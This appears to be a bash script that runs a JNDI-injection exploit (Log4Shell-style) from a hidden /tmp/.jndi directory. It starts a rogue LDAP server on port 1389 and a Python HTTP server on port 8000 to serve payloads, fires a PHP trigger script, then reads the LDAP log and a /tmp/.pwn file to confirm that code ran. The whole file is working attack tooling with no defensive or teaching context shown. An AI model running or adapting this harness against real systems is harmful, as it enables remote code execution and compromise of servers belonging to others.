#!/bin/bash
cd /tmp/.jndi
rm -f ldap.log /tmp/.pwn
setsid /usr/bin/python3 /tmp/.jndi/ldap_srv2.py </dev/null >/dev/null 2>&1 &
setsid /usr/bin/python3 -m http.server 8000 --directory /tmp/.jndi --bind 127.0.0.1 </dev/null >/dev/null 2>&1 &
sleep 2
/usr/bin/python3 - <<'EOF'
import socket
for p in (1389, 8000):
    s = socket.socket(); s.settimeout(2)
    try:
        s.connect(('127.0.0.1', p)); print(p, 'OPEN')
    except Exception as e:
        print(p, 'FAIL', e)
    s.close()
EOF
/www/server/php/56/bin/php /tmp/.jndi/trigger.php 2>&1 | tail -8
sleep 2
echo ===LOG===
cat /tmp/.jndi/ldap.log 2>/dev/null | tail -12
echo ===PWN===
cat /tmp/.pwn 2>/dev/null
echo ===END===
